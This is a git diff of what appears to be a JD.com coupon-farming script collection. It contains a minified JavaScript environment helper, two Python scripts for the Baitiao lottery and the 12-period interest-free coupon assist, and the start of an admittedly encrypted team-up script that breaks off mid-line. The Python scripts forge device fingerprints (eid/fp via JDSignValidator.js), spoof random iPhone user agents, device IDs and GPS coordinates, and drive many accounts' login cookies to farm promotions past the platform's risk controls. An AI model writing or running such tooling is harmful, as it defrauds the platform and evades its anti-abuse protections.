Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_btdraw.py b/jd_btdraw.py new file mode 100644 index 0000000..800f3e0 --- /dev/null +++ b/jd_btdraw.py @@ -0,0 +1,218 @@ +# -*- coding:utf-8 -*- +#pip install PyExecJS + + +""" +cron: 23 10 * * * +new Env('京东金融天天试手气'); +""" + + +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib + +try: + import execjs +except: + print('缺少依赖文件PyExecJS,请先去Python3安装PyExecJS后再执行') + sys.exit(0) + +def printf(text): + print(text) + sys.stdout.flush() + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + printf("加载通知服务失败~") + else: + send=False + printf("加载通知服务失败~") +load_send() + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open('/ql/config/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + printf('读取auth.json文件出错,跳过获取备注') + +def randomuserAgent(): + global uuid,addressid,iosVer,iosV,clientVersion,iPhone,area,ADID,lng,lat + uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) + iosV = iosVer.replace('.', '_') + clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + lng='119.31991256596'+str(random.randint(100,999)) + lat='26.1187118976'+str(random.randint(100,999)) + UserAgent='' + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +def JDSignValidator(url): + with open('JDSignValidator.js', 'r', encoding='utf-8') as f: + jstext = f.read() + js = execjs.compile(jstext) + result = js.call('getBody', url) + fp=result['fp'] + a=result['a'] + d=result['d'] + return fp,a,d + + +def geteid(a,d): + url=f'https://gia.jd.com/fcf.html?a={a}' + data=f'&d={d}' + headers={ + 'Host':'gia.jd.com', + 'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8', + 'Origin':'https://jrmkt.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Connection':'keep-alive', + 'Accept':'*/*', + 'User-Agent':UserAgent, + 'Referer':'https://jrmkt.jd.com/', + 'Content-Length':'376', + 'Accept-Language':'zh-CN,zh-Hans;q=0.9', + } + response=requests.post(url=url,headers=headers,data=data) + return response.text + +def getactivityid(ck): + homepageurl='https://ms.jr.jd.com/gw/generic/bt/h5/m/btJrFirstScreen' + data='reqData={"environment":"2","clientType":"ios","clientVersion":"6.2.60"}' + try: + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://mcr.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://mcr.jd.com/', + 'Content-Length':'71', + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + homepageresponse=requests.post(url=homepageurl,headers=headers,data=data) + for i in range(len(json.loads(homepageresponse.text)['resultData']['data']['activity']['data']['couponsRight'])): + if json.loads(homepageresponse.text)['resultData']['data']['activity']['data']['couponsRight'][i]['resName'].find('天天试手气')!=-1: + activityurl=json.loads(homepageresponse.text)['resultData']['data']['activity']['data']['couponsRight'][i]['jumpUrl']['jumpUrl']+'&jrcontainer=h5&jrlogin=true&jrcloseweb=false' + break + htmlheaders={ + 'accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'user-agent':UserAgent, + 'accept-language':'zh-CN,zh-Hans;q=0.9', + 'accept-encoding':'gzip, deflate, br' + } + activityhtml=requests.get(url=activityurl,headers=htmlheaders) + activityid=re.search(r"activityId=.{28}",activityhtml.text,re.M|re.I).group().replace('activityId=','') + print('活动id:'+activityid) + return activityid + except: + printf('获取活动id失败,程序即将退出') + os._exit(0) +def draw(activityid,eid,fp): + global sendNotifyflag + global prizeAward + sendNotifyflag=False + prizeAward=0 + url='https://jrmkt.jd.com/activity/newPageTake/takePrize' + data=f'activityId={activityid}&eid={eid}&fp={fp}' + headers={ + 'Host':'jrmkt.jd.com', + 'Accept':'application/json, text/javascript, */*; q=0.01', + 'X-Requested-With':'XMLHttpRequest', + 'Accept-Language':'zh-CN,zh-Hans;q=0.9', + 'Accept-Encoding':'gzip, deflate, br', + 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', + 'Origin':'https://jrmkt.jd.com', + 'User-Agent':UserAgent, + 'Connection':'keep-alive', + 'Referer':'https://ms.jr.jd.com/gw/generic/bt/h5/m/btJrFirstScreen', + 'Content-Length':str(len(data)), + 'Cookie':ck + } + response=requests.post(url=url,headers=headers,data=data) + try: + if json.loads(response.text)['prizeModels'][0]['prizeAward'].find('元')!=-1: + printf('获得'+json.loads(response.text)['prizeModels'][0]['useLimit']+'的'+json.loads(response.text)['prizeModels'][0]['prizeName']+'\n金额:'+json.loads(response.text)['prizeModels'][0]['prizeAward']+'\n有效期:'+json.loads(response.text)['prizeModels'][0]['validTime']+'\n\n') + if int((json.loads(response.text)['prizeModels'][0]['prizeAward']).replace('.00元',''))>=5: + prizeAward=json.loads(response.text)['prizeModels'][0]['prizeAward'] + sendNotifyflag=True + if json.loads(response.text)['prizeModels'][0]['prizeAward'].find('期')!=-1: + printf(response.text) + send('抽到白条分期券','去看日志') + except: + printf('出错啦,出错原因为:'+json.loads(response.text)['failDesc']+'\n\n') + + time.sleep(5) + +if __name__ == '__main__': + printf('游戏入口:京东金融-白条-天天试手气\n') + remarkinfos={} + get_remarkinfo() + UserAgent=randomuserAgent() + try: + cks = os.environ["JD_COOKIE"].split("&") + UserAgent=randomuserAgent() + activityid=getactivityid(cks[0]) + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + username=remarkinfos[ptpin] + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + except: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + UserAgent=randomuserAgent() + info=JDSignValidator('https://prodev.m.jd.com/mall/active/498THTs5KGNqK5nEaingGsKEi6Ao/index.html') + eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] + fp=info[0] + draw(activityid,eid,fp) + if sendNotifyflag: + send('京东白条抽奖通知',username+'抽到'+str(prizeAward)+'的优惠券了,速去京东金融-白条-天天试手气查看') \ No newline at end of file diff --git a/jd_btfree.py b/jd_btfree.py new file mode 100644 index 0000000..f004aa2 --- /dev/null +++ b/jd_btfree.py @@ -0,0 +1,266 @@ +# -*- coding:utf-8 -*- +#依赖管理-Python3-添加依赖PyExecJS +#想拿券的cookie环境变量JDJR_COOKIE,格式就是普通的cookie格式(pt_key=xxx;pt_pin=xxx) +#活动每天早上10点开始截止到这个月28号,建议corn 5 0 10 * * * +import execjs +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib +from urllib.parse import quote + + +#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + + +def randomuserAgent(): + global uuid,addressid,iosVer,iosV,clientVersion,iPhone,ADID,area,lng,lat + + uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) + iosV = iosVer.replace('.', '_') + clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + + + area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) + lng='119.31991256596'+str(random.randint(100,999)) + lat='26.1187118976'+str(random.randint(100,999)) + + + UserAgent='' + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + + +def printf(text): + print(text+'\n') + sys.stdout.flush() + + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + printf("加载通知服务失败~") + else: + send=False + printf("加载通知服务失败~") +load_send() + + + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open('/ql/config/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + printf('读取auth.json文件出错,跳过获取备注') + + +def JDSignValidator(url): + with open('JDSignValidator.js', 'r', encoding='utf-8') as f: + jstext = f.read() + ctx = execjs.compile(jstext) + result = ctx.call('getBody', url) + fp=result['fp'] + a=result['a'] + d=result['d'] + return fp,a,d + + +def geteid(a,d): + url=f'https://gia.jd.com/fcf.html?a={a}' + data=f'&d={d}' + headers={ + 'Host':'gia.jd.com', + 'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8', + 'Origin':'https://jrmkt.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Connection':'keep-alive', + 'Accept':'*/*', + 'User-Agent':UserAgent, + 'Referer':'https://jrmkt.jd.com/', + 'Content-Length':'376', + 'Accept-Language':'zh-CN,zh-Hans;q=0.9', + } + response=requests.post(url=url,headers=headers,data=data) + return response.text + + + +def gettoken(): + url='https://gia.jd.com/m.html' + headers={'User-Agent':UserAgent} + response=requests.get(url=url,headers=headers) + return response.text.split(';')[0].replace('var jd_risk_token_id = \'','').replace('\'','') + + +def getsharetasklist(ck,eid,fp,token): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/getShareTaskList' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"1","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/helpList/?channelId=17&channelName=pdy&jrcontainer=h5&jrlogin=true&jrcloseweb=false"},"channelId":"17","bizGroup":18}'%(eid,fp,token)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + for i in range(len(json.loads(response.text)['resultData']['data'])): + if json.loads(response.text)['resultData']['data'][i]['couponBigWord']=='12' and json.loads(response.text)['resultData']['data'][i]['couponSmallWord']=='期': + printf('12期免息券活动id:'+str(json.loads(response.text)['resultData']['data'][i]['activityId'])) + return json.loads(response.text)['resultData']['data'][i]['activityId'] + break + except: + printf('获取任务信息出错,程序即将退出!') + os._exit(0) + + + +def obtainsharetask(ck,eid,fp,token,activityid): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/obtainShareTask' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"1","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/helpList/?channelId=17&channelName=pdy&jrcontainer=h5&jrlogin=true&jrcloseweb=false"},"activityId":%s}'%(eid,fp,token,activityid)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + printf('obtainActivityId:'+json.loads(response.text)['resultData']['data']['obtainActivityId']) + printf('inviteCode:'+json.loads(response.text)['resultData']['data']['inviteCode']) + return json.loads(response.text)['resultData']['data']['obtainActivityId']+'@'+json.loads(response.text)['resultData']['data']['inviteCode'] + except: + printf('开启任务出错,程序即将退出!') + os._exit(0) + + +def assist(ck,eid,fp,token,obtainActivityid,invitecode): + url='https://ms.jr.jd.com/gw/generic/bt/h5/m/helpFriend' + data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"10","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/sharePage/?obtainActivityId=%s&channelId=17&channelName=pdy&jrcontainer=h5&jrcloseweb=false&jrlogin=true&inviteCode=%s"},"obtainActivityId":"%s","inviteCode":"%s"}'%(eid,fp,token,obtainActivityid,invitecode,obtainActivityid,invitecode)) + headers={ + 'Host':'ms.jr.jd.com', + 'Content-Type':'application/x-www-form-urlencoded', + 'Origin':'https://btfront.jd.com', + 'Accept-Encoding':'gzip, deflate, br', + 'Cookie':ck, + 'Connection':'keep-alive', + 'Accept':'application/json, text/plain, */*', + 'User-Agent':UserAgent, + 'Referer':'https://btfront.jd.com/', + 'Content-Length':str(len(data)), + 'Accept-Language':'zh-CN,zh-Hans;q=0.9' + } + try: + response=requests.post(url=url,headers=headers,data=data) + if response.text.find('本次助力活动已完成')!=-1: + send('京东白条12期免息优惠券助力完成','去京东金融-白条-我的-我的优惠券看看吧') + printf('助力完成,程序即将退出!') + os._exit(0) + else: + if json.loads(response.text)['resultData']['result']['code']=='0000': + printf('助力成功') + elif json.loads(response.text)['resultData']['result']['code']=='M1003': + printf('该用户未开启白条,助力失败!') + elif json.loads(response.text)['resultData']['result']['code']=='U0002': + printf('该用户白条账户异常,助力失败!') + elif json.loads(response.text)['resultData']['result']['code']=='E0004': + printf('该活动仅限受邀用户参与,助力失败!') + else: + print(response.text) + except: + try: + print(response.text) + except: + printf('助力出错,可能是cookie过期了') + + + +if __name__ == '__main__': + remarkinfos={} + get_remarkinfo() + + + jdjrcookie=os.environ["JDJR_COOKIE"] + + UserAgent=randomuserAgent() + info=JDSignValidator('https://jrmfp.jr.jd.com/') + eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] + fp=info[0] + token=gettoken() + activityid=getsharetasklist(jdjrcookie,eid,fp,token) + inviteinfo=obtainsharetask(jdjrcookie,eid,fp,token,activityid) + + + try: + cks = os.environ["JD_COOKIE"].split("&") + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + username=remarkinfos[ptpin] + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + except: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + username=urllib.parse.unquote(ptpin) + UserAgent=randomuserAgent() + info=JDSignValidator('https://jrmfp.jr.jd.com/') + eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] + fp=info[0] + token=gettoken() + assist(ck,eid,fp,token,inviteinfo.split('@')[0],inviteinfo.split('@')[1]) \ No newline at end of file diff --git a/jd_captian_flp.js b/jd_captian_flp.js new file mode 100644 index 0000000..46fe062 --- /dev/null +++ b/jd_captian_flp.js @@ -0,0 +1,33 @@ +/* +console.log("不喜欢被搬运,加密脚本,担心勿跑,安佳组队,助力ck1,需要新会员,入队失败一般是老会员,一次性脚本,瓜分20组上限") +console.log("https://lzkjdz-isv.isvjcloud.com/pool/captain/13145?activityId=52c0712263f342308da1287a66702009") +*/ +const $ = new Env("飞利浦组队"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let activityList = [ + {'activityId' : '52c0712263f342308da1287a66702009' ,'activityShopId' : '1000003691' , 'activityName':'飞利浦' , 'updateCaptainNum' : '2'},, +] +let activityNum = 0; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +console.log("不喜欢被搬运,加密脚本,担心勿跑,飞利浦组队,助力ck1,需要新会员,入队失败一般是老会员,一次性脚本,瓜分20组上限") +console.log("https://lzkjdz-isv.isvjcloud.com/pool/captain/13145?activityId=52c0712263f342308da1287a66702009") +console.log('老活动,需要新会员,活动可能还会遇到bug,无法加入队伍一般都是老会员,加密脚本慎重,其他助力ck1,玩不来这类活动的别跑!!!玩不来这类活动的别跑!!!') +var 